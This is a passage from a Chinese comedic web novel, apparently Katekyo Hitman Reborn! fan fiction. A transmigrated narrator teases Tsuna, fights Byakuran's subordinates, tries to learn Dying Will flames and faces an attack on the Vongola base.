“怎么会不认识呢,我知道你的一切。”我压着纲吉的肩膀,直接把他揽入怀中,“沢田纲吉,14岁,10月14日的天秤座。A型血,身高157——顺便一提,有点矮哦,不过我相信十年后的270的潜力——46.5公斤。温柔的妈妈,不着家的爸爸和废柴但万人迷的你,并盛中学二年级生,喜欢的食物是汉堡、喜欢的音乐是歌谣曲、儿时的梦想是成为巨大的机器人,喜欢的人是——” “等等等等!”纲吉从惊恐到满脸通红,伸手捂着我的嘴,物理阻止了我后面的话。 旁边暗恋——不,是明恋纲吉的小春瞪大了眼睛,“纲吉先生竟然有喜欢的人了吗,是谁是谁!?” “没有谁!”纲吉闭上眼睛大喊,突出的就是一个娇羞。 刚才和白兰对峙的紧张气氛完全无法阻止他现在的脚趾抠地。 哇哦,这就是看别人社死的感觉吧。 嘶——别说,好有趣! 纲吉就像兔子一样,让人想狠狠欺负。 我以前嗑过的那些cp,果然不是无的放矢的。 要问我为什么能知道这么多详细的情报? 我只能说,拥有一个靠谱的基友,胜过其他万千系统。他肯定是也意识到了什么,所以我的手环才会在几分钟前的震动,传来了一些零散的公式书信息。 虽然对剧情推进P用没有,但此时用来调戏纲吉却再好不过了! “所以——”我自信感爆棚,挑起他的下巴,“先离开这里怎么样?” 纲吉瞪大眼睛,“你知道该如何离开这里吗?” “完全不知道呢!” 我自信比出大拇指。 这段漫画细节已经完全不记得了呢。 纲吉死鱼眼.jpg “那你说的和真的一样。” 我的下句话还没有说出口,漫画中人物对话时的时间停止效果就消失了。密集的藤蔓就在云属火焰的催发下拔地而起,快速冲了过来,直奔我和尤尼酱。 非主流哥的触|手系! 家教,不愧是古早Play之王。 我没动手,主角团这边早就有人按捺不住了。彩色的火焰比藤蔓还要茂盛地爆发着,锋利的剑斩断了藤蔓荆棘的攻击——长发斯库瓦罗の暴击。同样增值的云属性紧随其后,可爱的刺猬就像小炮弹一样和俯冲的非主流哥释放的迅猛龙撞在了一起。 “轰——!” 当然,最引人瞩目的还得是这个破防的小龙人——他真的爆衫龙化了。 他难道不知道,像他这样的角色,衣服整齐=逼格不落,一旦暴衫就开始自己的失败倒计时了吗? 好吧,小龙人不知道。 他身上爆发出剧烈的火焰,脚下的地面迅速熔化成岩浆,连他周围的空气都因为高温而开始变形。 人鱼小萝莉抱怨着小龙人的粗鲁,用柔软的水球托起了她自己和白花花。 她对拯救其他人没有任何兴趣。 “石榴,控制自己,白兰大人想要活的猎物。”非主流哥指环上燃烧着云火,控制下的迅猛龙几乎是在无节制地增值。 不过,刺猬的增值数量完全不输给他。 委员长云雀恭弥,不愧是童年男神,论逼格从来没输过。 “闭嘴,桔梗。”石榴点出了非主流哥的名字,用自己的声音告诉我,家教有他们自己的桔梗,“只是‘活着’的话,就算扯掉他的四肢也没有关系吧?” 我和尤尼酱都是白花花想要的猎物,但破防了的石榴显然只针对我。 桔梗乐见其成,大概是不希望对方伤害到更加重要的尤尼酱吧? “只要留下那张有趣的嘴就行了。” 白花花笑眯眯地坐在飘浮的水球上,贴心地下达了更详细的指令。 这时候都不一拥而上,你们反派可真讲武德。 “真的吗,真的觉得我的嘴有趣?咦——说什么少儿不宜的话呢!”我用手挡住了自己的嘴唇,“我的想法恰恰相反,我觉得你要是没有那张嘴的话,还算是颗漂亮的棉花糖,不然我帮你个忙吧——帮你把你的舌头拔掉怎么样啊?” 说不了一点好话。 我和他之间,隔着穿越几千个世界的仇! 知道我那几千个世界都是怎么过来的吗! “如果……你能做到的话。”白兰眼睛一眯,地面上的小龙人就发起了进攻。 他的尾巴掀起一片岩浆之浪,朝我这边压了下来。 我怀里的纲吉没进入死气模式,被这岩浆翻腾的模样,吓得褪色成黑白画质了。 “放心,哥罩你。” 我拍了拍他的肩膀,接着便把他朝身后一推。另一只手向上一抬,我体里的力量荡开,模仿着石榴的招数,同样掀起了一阵红浪。 比起模拟先前世界的东西,这些原本就属于家教世界体系、可以马上追本溯源、迅速得到其他人认知的能力,显然更容易在这个严格的世界意识下起效。 简单来说就是—— “反弹!” 童年的漫画就要用童年招。 两股完全相同的浓烈的力量撞在一起,互相对峙燃烧的火焰不断扩张。小龙人脑子里轴得仿佛只有一根筋,他一向自信于自己的火焰量,所以果断接下了这场力量拉锯,不断地在火焰量上加码。 仿佛他的火焰能取之不尽用之不竭似的。 等等,取之不尽用之不竭! 我瞪大了眼睛。 以觉悟为源,理论上来说取之不尽用之不竭的力量! 卧槽,这玩意儿——机制比世界摩擦简单,安全性比诅咒高,可以循环生产、源源不断! 简直是天选动力源。 难道我真是天才? 第110章 我不操心跑路的问题, 有的是人会操心。 虽然不太明白原理,但我和小龙人无限扩张的巨大力量撞上天空的时候,好像触动了某个传送装置。 又或是在火焰冲上天空之前, 传送装置就已经在启动中了。 反正对我来说, 几乎毫无征兆地,眼前的一切就都变了。 邪恶摇粒绒消失了,灼人的温度骤降, 到了普通人能接受的地步。 然后我在自由落体。 又来这一招是吧? 我已经超进化了! ……好吧,有点怕怕,放点火焰反冲一下。 红色的岚火确实杀伤力强,我顶着云雀想要杀人的眼神, 在并盛神社前, 砸了个大坑,烧了一片绿化。 骚——瑞—— 云雀眯着眼,原本就没有尽兴的浮萍拐跃跃欲试。 顺毛神器迪诺呢,快来安抚一下啊! 那拐子打人贼疼,我买过, 我挨过! 想帅一下, 结果把拐甩到了自己脸上,痛苦回忆尤然在脑。 我视线扫视, 一个身影就猛扑了过来, 惊得我差点应激得,要一个螺旋飞踢踹上去—— “唔啊——!” 幸好忍住了, 是纲吉。 他屁股上有个明显的小脚印, 显然他是被Reborn踹过来的。 扑在我身上, 他尴尬得手脚都不会放了。 “额, 那个, 就是说——”他硬着头皮开口,“你到底是谁啊?” 我猜他还有后半句更想问的没有说出口,那就是我为什么会对他那么了解,甚至连他儿时的梦想都知道得一清二楚, 因为我认识你们的妈咪啦。 不是沢田奈奈,是天野娘。 我摸着下巴,认真考虑,“既然你叫沢田纲吉,不如就叫我沢田纲不吉。” 纲吉:? 皮一下很开心,我“嘿嘿”一笑,“其实,我就是传说中守护宇宙和平,保卫时空安定的二次元之神,请叫我齐O楠雄。” 纲吉:??? “好吧,认真了,其实我叫汤姆苏,汤姆·苏——” 我撅起嘴,咕哝着我的恶心气泡音,把“苏”的音调拖得很长。 果然,只要我相信这个世界里没有我在意的人了,一切就都变得轻松简单起来。 “外国人?” 纲吉有些怀疑,毕竟我没有真六吊花那样,外国人标配的五颜六色的头发。 “确切地来说,是外星。” 外面时空的星球(特指地球)的人,简称外星人,没毛病。 “外、外星人!”纲吉惊讶极了,觉得是开玩笑,但是又觉得自己的生活本身就有点反科学,一时分不清真假。 就像他以前也觉得婴儿给自己当家教是在搞笑,现在他已经稳稳被婴儿家教拿捏了。 旁边的狱寺不知是从哪里掏出一副眼镜来,学术感十足,“原来地外生命真的存在,看来之前取消的科学杂志有必要再订回来……” “外星人什么的,听起来就很厉害的样子!”很难从表情上判断山本到底信了没有,天然黑是这样的,“外星都是什么样的?像是M78星云吗?” 不愧是奥特之乡,DNA动了。 认真地说,没有人怀疑一下我的说法吗? “不……外星人什么的——”尤尼酱的眼睛疑惑起来,流露出一丝微妙。就在我以为她要质疑的时候,她突然恍然大悟,“竟然真的存在!所以野猿之前说的故事是真实的啊,如果还有机会的话,真应该让伽马和他好好道歉才行。” 我只是浅玩了一下抽象,不要这么认真好不好。 我把最后的希望投向了Reborn。 Reborn没在附近。 我看着不远处那个摔在地面上的方舱基地,后知后觉意识到,这里应该有那所谓的非7^3射线。 虽然已经不记得这什么鬼射线的原理,但它让彩虹之子无法行动却是事实。 那——纲吉屁股上的小脚印是怎么来的? 传送途中被踹的吗? 来自Reborn的四次元之jio? 而且说起来,头顶的这个悬空装置…… “差点忘记了啊,超炎传送系统!”纲吉捂着耳朵,耳机正传达着方舱基地内传来的指令,“正一问,这样级别的系统,白兰手中究竟有几台?” 一台吧。 “如果我没有记错的话,应该只有一台。” 尤尼酱毕竟也是密鲁菲奥雷——不论多少次都觉得拗口——家族的一位首领。虽然傀儡了一点,但也正是因为尤尼酱的灵魂此前不在本世界,纯傀儡,所以白兰大概根本没有想过需要防备尤尼酱什么。 否则,尤尼酱也不会那么容易拿到彩虹之子的奶嘴。 “那毁掉这台超炎传送系统,白兰就无法马上追来。” 纲吉转达了入江正一的观点。 尤尼酱紧接着作为旁白,补充说了选择战这段剧情发生的地点,是一座无人的孤岛。给接下来主角团的修生养息、打怪升级,提供了一个合理的解释。 当然,这一切的前提都是要尽快毁掉头顶这个悬在空中的超炎传送系统——简而言之就是一个有科学解释的魔法传送阵。 能脱身,就是借了这个装置的功效。 但装置本身仍然是白兰的系统,所以毁掉它的优先级才会在搞清楚我身份之上。 制造东西不容易,毁灭东西还不简单吗? 我抬手就是一个小龙人之岩浆,剧烈的温度灼烧着空气,旋风般的赤红色火焰凝聚成了实体的枪身,抢在狱寺动手开匣之前,将超炎系统的打了个洞穿。 能想象狱寺的表情吗,他刚刚冲着亲爱的十代目日常表忠心,想要展示一下刚才战斗里没有机会展示的招数,就因为表忠心的前摇太长,没比得上我的零帧起手。 我一把揽过身边的纲吉,借着身高优势,将他压进怀里,肆意蹂|躏——其实也没有那么夸张,我只是单纯想知道,这个反重力的头发,靠的究竟是发质还是发胶。 想当年基友打理的纲吉假发,几罐发胶下去,感觉是能直接当凶器的程度。 COSER假毛之旋风流星锤。 纲吉本人的头发自然和假毛大不一样,我摩挲着发丝,仔细研究,“发质明显比刚才软,难道是因为情绪放松,所以头发变软了吗……竟然是高级智能化全自动情绪感知头发,失敬失敬!” 我竖起了大拇指。 纲吉身体歪着,在我蹂|躏的动作中,发出了一声娇喘——真不是我要用这样暧昧的形容。他有和京子酱一样的脸型轮廓、比任何人都大的眼睛,水光潋滟的双眸,和名为“废柴”实为“软糯”的声线…… 实事求是、毫不夸张地说,纲吉绝对完美满足迪士尼公主的每一条标准:智能魔法头发、着火魔法双手、和匣兵器小动物说话、被下毒、被诅咒、被绑架、和老爸之间存在很深的交流问题,并且,每一个重要的剧情阶段,总会出现一些新的男人和旧男人一起,来帮他解决危机! 上到百年前的初代目老祖宗,下到婴幼儿蓝波酱,前有Reborn白月光,后有学长云雀桑,谁能不为他倾倒,甚至还有另一个死气模式的自己,开启水仙新时代。 说他一句古早万人迷玛丽苏,谁赞成,谁反对? 我当年嗑的乱七八糟CP,不是没有原因的。 “可恶的外星人,竟然敢对十代目做出这种事!”狱寺听到纲吉的声音,立马红温,指环上的火焰都亮起来了,“十代目赶紧离开,邪恶的外星人一定是想要研究您的头发!” “不……我不觉得我的头发有什么好研究的吧……”纲吉试图劝阻。 狱寺已经进入了搞笑漫画模式,抽象了起来,“很显然,外星人的头发非常稀疏,您这样茂密的头发绝对有强力研究价值!”? 好好说话,为什么要人身攻击? 头发,别听,是恶评! 我瞪大了眼睛,“什么叫稀疏,我这是板寸,硬汉发型你懂不懂行!” “刚才就目的明确地给白兰剃了光头,现在肯定也是对十代目的头发图谋不轨!” 狱寺·理工男·隼人,说话有理有据,迅速对以前看过的阴谋论杂志信以为真,“十代目,快从他身边离开,一切都是邪恶外星人占领地球的计划!” 纲吉一副“我不懂但我大受震撼”的模样。 “不……我的头发和占领地球之间,完全没有关联吧!” “就是就是!我怎么会为了别人的头发占领地球呢?”我理所当然地挺胸,但却完全没有给纲吉任何松口气的机会,马上又接了一句,“我当然只会为了自己的头发占领地球了!” 纲吉张大嘴,“哈——?!” “我就知道!” 很难形容狱寺到底是小猫还是小孩,正常人应该不会随时随地,掏出这种写着十代目应援文字的炸弹来吧。 山本更是重量级,他摸着后脑,拿着剑,笑得一脸爽朗,“所以,现在是游戏换地图,要开始占领地球的任务了吗。好有趣的样子,我加入!” “你这个蠢货,他是真的要占领地球,利用十代目的头发!” 狱寺炸毛,骂人都像是在撒娇。 这种带有忠犬性质的猫系人设,太棒了。 纲吉的大眼睛都变成了四条线两个点的死鱼眼,双手捂头,疯狂揉搓自己的头发,崩溃大喊,“不,所以这到底和我的头发有什么关系啊,喂!” 110-120 第111章 即使销毁了超炎传送系统, 并盛依然不是个安全的地方。 毕竟全密鲁菲奥雷都知道,这里是彭格列的大本营,白花花的下一个目标, 必然就是这里。 说不定马上就会就近调集部队来进攻呢。 大摇大摆地持续待在这里显然不够明智。 为保万全, 大家很快就都被召回了更安全的地下彭格列基地。 当然,除了不喜欢群聚的云雀——和他的风纪委员、和他的老师、以及他老师的下属……们。 浩浩荡荡一大堆人,说好的不群聚呢? 这就是傲娇酷哥吗。 我在狱寺的呲牙中和山本的嘻嘻哈哈中, 顺利入主了彭格列基地。 为什么说是“入主”而不是“入住”——因为彭格列的十代目BOSS现在就在我手上! 主人公在我手上! 懂吧,我的手里,掌握整个世界的命脉。 左纲吉,右尤尼, 中间坐着个Reborn君, 天知道这是什么待遇。 知道狱寺有多羡慕嫉妒恨吗? 只要感受他的视线就能明白什么叫作如芒刺背,如果他是超人,那热视线就要把我捅穿、连渣都不剩了。 “纳尼!其他的世界全部被毁灭成了废墟?!”纲吉惊恐地瞪大了眼睛。 想象是一方面,当这个事实被揭露、被拆穿就是另一方面了。在此之前,纲吉理解的“失败”或许是死亡、或许是彭格列灭亡、甚至可能是世界被统治, 但整个世界被付之一炬、彻底毁灭完全是另一个级别的可怕。 “不完全是, 还有几个世界是在毁灭中。”尤尼用最淡定的语气,又给纲吉补了一刀, “但不会超过五个。白兰就是这样, 他没有真正理解过7^3的意义。所以,当他发现到7^3只是一块无用的石板, 而统治的世界依然如此无趣的时候, 他就会毁掉一切——毁掉一切, 只是因为感到无聊。我看到过无数次了。” 尤尼酱的灵魂在平行时空中不断跳跃, 她看过太多次世界毁灭。不论世人如何反抗, 白兰总能从其他的平行世界中获得常人所没有的经验,然后在胜利中,带着整个世界走向毁灭。 正是因为看到了太多,所以尤尼酱才能下定了决心,即使放弃自己的生命、舍弃自己家族的其他成员,也一定要阻止一切。 这是个艰难的选择,但她已无其他路可走。 “八兆亿的平行世界,只剩下这最后一个可能吗?”Reborn压低帽檐,虽说还有几个世界尚未被完全毁灭,但听尤尼的意思,那些世界的结局已然不可逆转。 “怎么会这样……”纲吉大概从未如此清晰地感觉到过肩上的责任,这个世界是最后的世界,他和他的伙伴们,是最后的机会。 全村的希望沢田纲吉,“那我又怎么可能做得到——” 他习惯性地自我否定,心中的惶惶不安在神色中一览无余。 我拍拍他的肩膀,“你当然能做到,这个世界是所有平行宇宙的源头,你非常特别——连外星人都在观测你的头发,这是多么的特别。” “不,所以这究竟和我的头发有什么关系啊!” “全自动人工智能头发,可硬可软,自动塑形。Coser梦寐以求的东西,你懂吧?”我继续逗他,“简称全村的希望,头发君。有没有兴趣捐出你的头发,让世界获得和平?” 纲吉,“。” 他迅速脱离了那种惶恐不安的状态,进而转化成了一种无奈。 大概是因为身边的奇葩已经太多,这种怪异的话竟然也能引发认真的思考。 Reborn观察了我半天,终于发话了,“你究竟是什么家伙?” 他是个小小只的婴儿,肉嘟嘟的婴儿脸和奶呼呼的声音让人乍一听很难提起警惕——当然,如果他的眼神没有那么犀利的话。 虽然他身上最有价值的那个奶嘴看上去毫无杀伤力,但他帽子上的列恩就不一样了,仿佛随时变换形态,请我吃金属花生米。 这就第一杀手的压力,简直幻视初登场的琴酒。 我站起来,整理了一下衣服,然后一脚踩在桌子上,大义凛然,“既然你这么诚心诚意地发问了,那我就大发慈悲地告诉你。为了防止时空被破坏,为了保护宇宙的和平,贯彻时空守护者的正义,可爱又迷人的星际警察就是我啦,请叫我纲不吉!” “不是说汤姆苏的吗?” 狱寺非常在意这些细节。 我突然绷起脸,“那才是开玩笑的,其实纲不吉才是我的地球名。” “不”这个字甚至是中文,兹纳不呦西,是不是很有意思。 山本笑了起来,“纲不吉什么的,听起来像是阿纲的兄弟一样呢。” 纲吉瞪大了眼睛,一副“你认真的吗”的样子。 “说不定真是呢。”我趁机冲着纲吉挑眉。 纲吉大声,“绝对不是吧!” “原来如此,这也是平行世界的可能性吗?”Reborn超认真,不知道是一本正经搞纲吉心态,还是真的相信了我的鬼话,“如果有八兆亿个平行时空,那么有这样一个角色存在也并非不可能。” 尤尼酱用那种关爱受伤儿童的眼神抚慰我。 大概是我一开始有些神经地攻击白花花的行为给她留下了些印象,她以为我的世界杯毁灭掉了。 要是穿越司真被突破了,那我现在应该还在和邪恶摇粒绒拼命,可不会这么好说话。 我正经了一些,“别的不说,我和白花——咳,白兰肯定是敌人。时空不是玩物,不是他应该玩弄的东西。”所以干掉白兰,永绝后患! “你是打算要毁掉玛雷指环吗?” 我:? Reborn你的思维是不是有些跳跃? 他振振有词,“因为,窥探平行时空的能力来源于玛雷指环而非白兰,与其说你的敌人是白兰,不如说你的敌人是玛雷指环本身吧?” 好有逻辑的思路,我竟无法反驳。 但是,有区别吗? 不论如何,现在玛雷指环的拥有者是白兰,那我的敌人就是白兰啊,何必分得这么清楚呢? 正这样想着,我就看到了尤尼酱焦虑的神色。 “不行,7^3是一个整体,不论哪一方的消失都会在本质上造成世界失衡的!”她焦急地看着我,“如果没有玛雷指环,彭格列指环和彩虹之子的奶嘴就会形成两极,两极非常容易失衡。” 而一旦失衡,就会从根本上毁灭世界存在的基础,世界难逃毁灭的命运。 好可怜的世界,杀也不是,不杀也不是。 这是我完全没有想过的东西。 但现在想也不迟。 我最擅长随机应变了。 “不不不,问题的本质还是在白兰身上,你懂吧?拥有窥探能力不等于要去强行影响其他世界。窥探就窥探呗,看一看无所谓,哪怕是他要毁灭自己的世界也是本世界的问题,外人何必插手?但,别搞别人的世界啊。”我勾过纲吉的脖子,把他的手展开,中指上带着的正是彭格列指环,“你看,你们的指环不是也代表了纵向时间轴吗,怎么没见你们突破下限调整搞出时空悖论来。” 比如,让多个时间的自己同时存在于一个时间点——这是彭格列指环在理论上能够实现的事。 但那无疑会产生悖论,将纵向时间线无限压成,最终变成一个点,进而造成类似于时间概念消失的严重后果。 一个时间轴坍塌,就会引起诸多连锁反应,就像被拨动的多米诺骨牌。 但八兆亿个彭格列,没有一个纲吉做这种事。哪怕十年炮筒、未来篇章都是交换时间轴的两点,或至少封印起一点,不会让两点共存于一个时间。 说明有问题的不是能力,而是持有能力的人。 更重要的是,我不需要毁掉玛雷指环,我只需要搞清楚它的原理就够了。 等我回去了,我会手动打补丁修bug的,同样的招数绝不会再生效第二次。 我无比庆幸甚尔的战力和密集的排班,这才没有让白花花有机会深入到穿越司内部。要是让他发现了世界之外的世界,那还了得? 八兆亿个世界都是因为他的“无聊”而毁掉的,要是找到神秘有趣的事,他还不得纠集八兆亿个自己一起搞事? 八兆亿个敌人,就算是爆肝宰都得被榨干。 想想都可怕。 “而且,虽然逻辑原理怪怪的,但你们似打算用改变未来的方式来改变过去,对吧?”我尽量按照这个世界的运转规则进行思考,“这和我的计划一样嘛。这个世界是主宇宙,只要能够改变这个世界的未来,其他八兆亿个世界的时间线也会随之重置。大家都能正常运转,我也就能回到自己的世界了——怎么样,合作呗,你们不亏的。” 敌人的敌人还不赶紧招入麾下等什么。 世界的核心人物几乎都在眼前了,他们的认可就基本等同于世界意识的认可。我先铺垫一下自己的回家路,就算是世界意识背刺我,我这个基调也已经铺垫好了。 “你怎么说,纲吉。”Reborn看向了男主角。 纲吉瞪大了眼睛,“我?我来做决定吗!?” Reborn“哼”了一声,“当然了,你才是彭格列的BOSS。是否接纳他、信赖他,原本就是你的决定。” 虽然但是,你们已经让我走进你们的基地了。 我以为这个行为原本就已经算是释放了合作信号,结果其实没有吗? 那你们还敢让我进入这个基地,不怕我进来搞事? 我看了看Reborn手里的列恩,又看了看几个方向把我包得严严实实的守护者们。 好吧……在基地里可能真不怕。 好家伙,请君入瓮? 尤其是狱寺,他真的跃跃欲试,紧紧地盯着——纲吉的头发? 不是吧,他竟然还认为我对纲吉的头发图谋不轨。 好了,现在我开始觉得不群聚云雀也在外面埋伏我了,不然怎么带走那么大一批人。 纲吉的表情非常纠结。很显然他不了解我,我甚至连名字都在这里打马虎眼。 但话又说回来了,他接纳的来路不明的家伙还少吗? 彭·“捡垃圾”大王·格列,连六道骸这种字面意义上觊觎十代目首领身体的人都接受了,多我一个怎么了! “总之!”纲吉闭上眼睛,他不擅长用理智来分析利害、也很不喜欢把事想得那样复杂,更多时候只凭借着一腔热血来做决定。我怀疑如果没有彭格列祖传超直感,他早就被啃得渣都不剩了。 超直感这个设定真的救大命,“他帮了我们,白兰也是我们共同的敌人——我愿意相信他。” 他深吸了一口气,认真地看向我,很难评是他做出了决定,还是彭格列超直感做出了决定。 “我愿意相信你,纲不吉君。” ……? 不是大哥,你也太实诚了,真的这么叫啊。 噗哈哈哈哈哈哈哈——没有人比纲吉艰难地说出这个称呼的时候更搞笑了。 我掐住了自己的苹果肌忍笑,但却几乎控制不了鼻孔的放大。 认真一点啊我,这可是个重要的时刻!纲吉朝我伸出手,然后我握上去的画面,是可以直接当单行本封面的那种。 纲吉和纲不吉,怎么不算是日漫最喜欢的对称画面呢? 第112章 加入主角团是获得成功的第一步。 第二步是什么呢? 是上课。 啊, 知识,人类进步的阶梯;啊,知识, 征服世界的好伙伴—— 呸! 谁能想到, 我竟然还要,上!课! 还有人记得我是翘课出来的吗? 翘课出来上课,真不愧是我。 狱寺一副恨铁不成钢的样子看着我, 满嘴都是“外星人怎么都不太聪明的样子”、“这么简单的东西都听不懂,你枉为纲不吉”、“这么蠢的外星人真的能征服世界吗”的抱怨。 顺便再随时插两句类似于“不许觊觎十代目尊贵的头发”的话。 好家伙,这个梗还没有过去。 而且,什么叫我不太聪明?你要不要听听自己在说什么——什么角动量守恒定律、什么电场乱七八糟的定理, 物理从来不及格的我, 一个字都听不懂。 唯独熟悉的字眼“熵”,是因为我看了诺兰的电影,当然了,其实也怎么没看懂。 天知道我只是想学习一下火焰的运作,有没有感受派能给我传达一点经验? “就是‘歘’一下往下, ‘呼’一下往上的那种感觉, 然后指环上就会冒出火焰来了。” ……? 这难道就说传说中的“不要试图去理解,要去感受”吗?从极端理论派再到极端感受派, 只隔了一个狱寺到山本之间的距离。 听不懂一点。 “嗯——” 我蹲在地上, 每一个毛孔都在用力,眼睛直勾勾地看着手指上的C级指环——我命令你给我着火, 着! 模拟火焰是很容易的, 但那本质上是「书」的力量, 不是我本人转化出来的火焰。 我想要学会这个技能, 拿回去当无限循环的清洁能源。 想要回去当老师, 至少得先学会自己用吧? “嗯——!!!” 我继续加油努力。 “那个……纲不吉先生,厕所的话在走廊尽头。”风太路过我身边,委婉地提醒道,“要是有困难的话,可以求助医疗室。” ……? 我反应了几秒钟,才理解到他的意思。 不是,大哥! 我没有便秘,更没有要在大庭广众下不脱裤子上厕所的意思啊! 我只是单纯的,非常单纯的O不出来火焰! 风太一副“我懂得”“放心不会泄露你的难言之隐”的表情,我真的谢谢你。 觉悟什么的,简直比诅咒还要玄学。 论,是否可以营造人设、让所有人相信我是个天才,然后世界意识背刺我一下,带我走捷径学会用火焰和指环。 我萧瑟地看着风太消失的背影,大概是难了。 主角团一个比一个抽象,挨了Reborn一枪都没用,我总不能真的向蓝波求教吧? 那岂不是又抽象、又丢人。 很快,这些抽象的老师们也都一个个消失不见。 别误会,主角团没有出事、白花花也还没有打过来。 Reborn简直就像是个发布任务的NPC,他几个小时前发布了新的主线任务【初代家族的认可】。 显然,主角团在十年之前,还有一个初代buff的副本要打,所以就穿越回去打怪升级了。 我虽然是穿越失禁体质,但这个“穿越”的概念,显然还需要再议。 他们的时间穿越原理来源于十年炮筒,本质上是让过去的自己和未来的自己进行交换。 我没有在这个世界上出现过,我没有在这个世界的“过去”,十年炮筒的原理无法对我起效。毕竟我不是尤尼酱,她有着自己作为彩虹之子首领的特权——可以出现在横、纵两条时间轴上的任何一个交点。 可恶啊,出场了,但却无法参与主线。 好歹毒的设定。 我明明对初代家族超级感兴趣的,现在却只能待在十年之后的世界,想办法自学成才。 因为很显然,正一和斯帕纳的教学方式,和狱寺如出一辙。 MD,欺负我是文科生,听不懂一点。 “要不直接一点,干脆把我丢到战场上,死几次我应该就学会了。”我摸着下巴认真建议,相信人的潜力是无限的,“不是说欧洲战场还在打吗,把我丢过去吧,求求了。” “不要说这么胡来的话啊,纲不吉君。”正一无奈,身上的伤还没有好,就要开始给我当保姆了,“火焰的关键在于‘觉悟’,但每个人的觉悟来源是不同的,我的是‘决心’、斯帕纳偏向于‘专注’、纲吉君或许是‘保护’,云雀君似乎是‘愤怒’——你看,天差地别,‘觉悟’是无法用经验来总结和衡量的。你可以想象一下,自己无论如何都想要达成的目标,无论如何都要做到的事,那种不顾一切的冲动就是觉悟了。” 听上去很简单的,对吧? 回家应该一直都是我最明确的目标。 但不知为什么,我就是无法燃起火焰。 或许是因为,我并不担忧回去? 实话实说,我现在就能走人。 所以,这无法成为我此时此刻的动力。 那我是不是应该调整一下自己的心态,把干掉邪恶摇粒绒当作我的目标,说不定能燃起觉悟? 我努力了一下,结局却依然很难评。可能是因为邪恶白秃秃的画面和一些战斗发泄,以及有趣好玩的纲吉和一点就炸的狱寺,给我带来不少开心时光,冲淡了一些最初的怨念;也可能是因为我的战斗本身确实不依赖于火焰。 ……救救我。 我甚至试图尝试了斯帕纳的模拟特训,他那可以在人的大脑里模拟高强度战斗系统。 结果却战斗不了一点。 他甚至无法把我的大脑拖入到一个虚幻的世界。 斯帕纳一度怀疑是自己的系统出现了问题。但事实证明,不是他有问题,而是我有问题,我的大脑无法接受虚幻和模拟。 究其原理,大概是……我不被世界接受的三次元大脑,也无法接受二次元中的模拟二次元? 总之,失败再+1。 我都不知道人可以在短短不到一天的时间里,经历如此密集的失败。 或许,我的执念可以是头发。 嗯——但我的头发,已经在绝赞茂密生长中! 随便修剪、随便染,帅气发型get,晴之火焰赛高。 正一好过头了,他用晴之火焰开匣兵器,治疗自己外伤的时候,我就在旁边,头发指甲猛猛长,要多少头发有多少。 当然,这也侧面说明,至少我的毛囊还是很健康的。 毛囊健康,才能长出茂密的头发。 我的人生圆满了。 完蛋,这下更没有压力了。 感觉懒怠之心和拖延症逐渐占据上风,火焰越发没有苗头。 正一和斯帕纳都是一阵宇宙猫猫头,明明我之前看上去那么熟练,释放的火焰量也大得离谱。怎么转瞬之间就成了新手小白? 我可以用储存火焰的奇妙理论来应付,毕竟这不能算说谎,「书」怎么不算是一种储存方式呢? 正一斯帕纳两个技术宅陷入深思。 我游(迷)荡(路)在基地内,寻找灵感。 突然,基地走廊的灯光猛地变红,警报响起。 吓得我心脏一跳,怎么回事? 紧接着,整个基地开始震动摇晃,天花板裂开一条细缝,灰石沿着裂缝洒在地面。 走廊中的扬声器里释放着强尼二焦虑的声音,“基地受到攻击!重复,基地受到攻——” 声音戛然而止,“滋滋”的声音持续的响动,像是被干扰到了。 墙面上的屏幕显示着受损百分比和紧急避险路线,但这个屏幕并没有坚持几秒就迅速黑屏。 有什么专业的干扰工具在起效。 我皱眉。 不是吧,主角团还没有回来呢——甚至不如说,他们才刚走没多久。 难道此时不应该是时空静止的绝对安全时期吗? 更何况超炎传送系统确实被我破坏掉了的,除了白花花的拗口组织,谁还会对主角团出手、谁还会精准地知道彭格列地下基地的位置。 基地上有幻术防御的。 我刚一抬腿,和迎面狂奔的长发S娘·斯库瓦罗撞了个正着。 “VOI,你!这到底是怎么回事?” 我指着自己的脸,“不是,你问我?到底你是彭格列还是我是彭格列?” 在你们家的地盘,问我发生了什么? 我连刚才那张紧急逃生路线图都没看懂。 斯库瓦罗没有说话,但我能感觉到斯库瓦罗用脸骂了一句脏话。 问题不大,我也可以用脸来回击,就看谁骂得脏了。 好消息是,他至少认路,知道怎么能在这毫无标识的地下迷宫里,找到出口。 受到的攻击,一定是从外面来的。 并盛毕竟是个大目标。 不过很快,就无所谓出口了。 天花板直接被掀开了,坍塌的基地直接把我和前面更快的斯库瓦罗牌高德,隔到了两边。 小龙人飞在天上,他看到我的瞬间瞳孔骤缩,一下子就兴奋起来。剧烈的红色的火焰燎过天空,草坪灌丛瞬间被点燃成灰。 他肩膀上突出的锥刺上,红色的鳞片布满全身,覆盖在肩膀、脖颈、胸口的鳞片格外坚硬,几乎是天然的铠甲,他的身体看上去就像是一个坚硬的堡垒,大炮都无法轰开。两侧展开的赤红火焰仿佛一双热烈的翅膀,想要冲上来,紧紧地拥抱我。 抱歉,婉拒了哈。 我对这种类型的人外没有任何兴趣。 “小虫子!” 小龙人发出了兴奋的嚎叫,“今天是你的幸运日。” 我左看右看,附近没人在。就连斯库瓦罗也被刚才坍塌的基地顶埋了起来。 所以—— “叫我?” 小虫子什么的也太失礼了吧? 回答我的,是一招扑脸的岩浆。 你们外地的帮派真的很没有礼貌。 我感受着炽热的温度在皮肤上流淌——痒痒的。 痒痒的! 我瞪大眼睛,这可是之前所没有的感受! 这说明这个世界在逐渐地接受着我。 这是件好事——没想到我也会有这样说的一天——但,事实就是,和这个世界的联系更深,我也就更在这个世界观下,制造火焰。 “就这?就这?”我把残留在衣服手腕上的岩浆甩干净,特制的衣服也没有被烧坏,我毫不客气地挑衅他,“凉水洗澡多不健康啊,想要请我洗澡,怎么也得搞点更热的水来吧?” 这句话的杀伤力不亚于对筋膜刀师傅说没劲。 他咧开嘴,锋利的牙齿就像是要将我生吞活剥一样,“看来你不会让我无聊了。” 话音未落,他便消失在了原地。紧接着,锐利的爪风在我面前一闪而过,他的速度很快,但没有快超常的地步——甚至没有我想象当中的快。 我淡定地向后退了一步,看着两个爪子交替在眼前。 强烈的爪风切开了基地坚固的天花板,就像切豆腐一样。 我得说我已经不是小孩儿了,小龙人听上去也不是很尊重,而且我也完全没有和石榴称兄道弟的意思。 但!是! 恐龙什么的,真的帅爆了好吗! 如果更仔细地看,就能发现他那白色的爪尖上,隐隐透印着密集的红色纹路——或者说是血管更加准确,用来输送火焰的“血管”。 结构非常清晰。 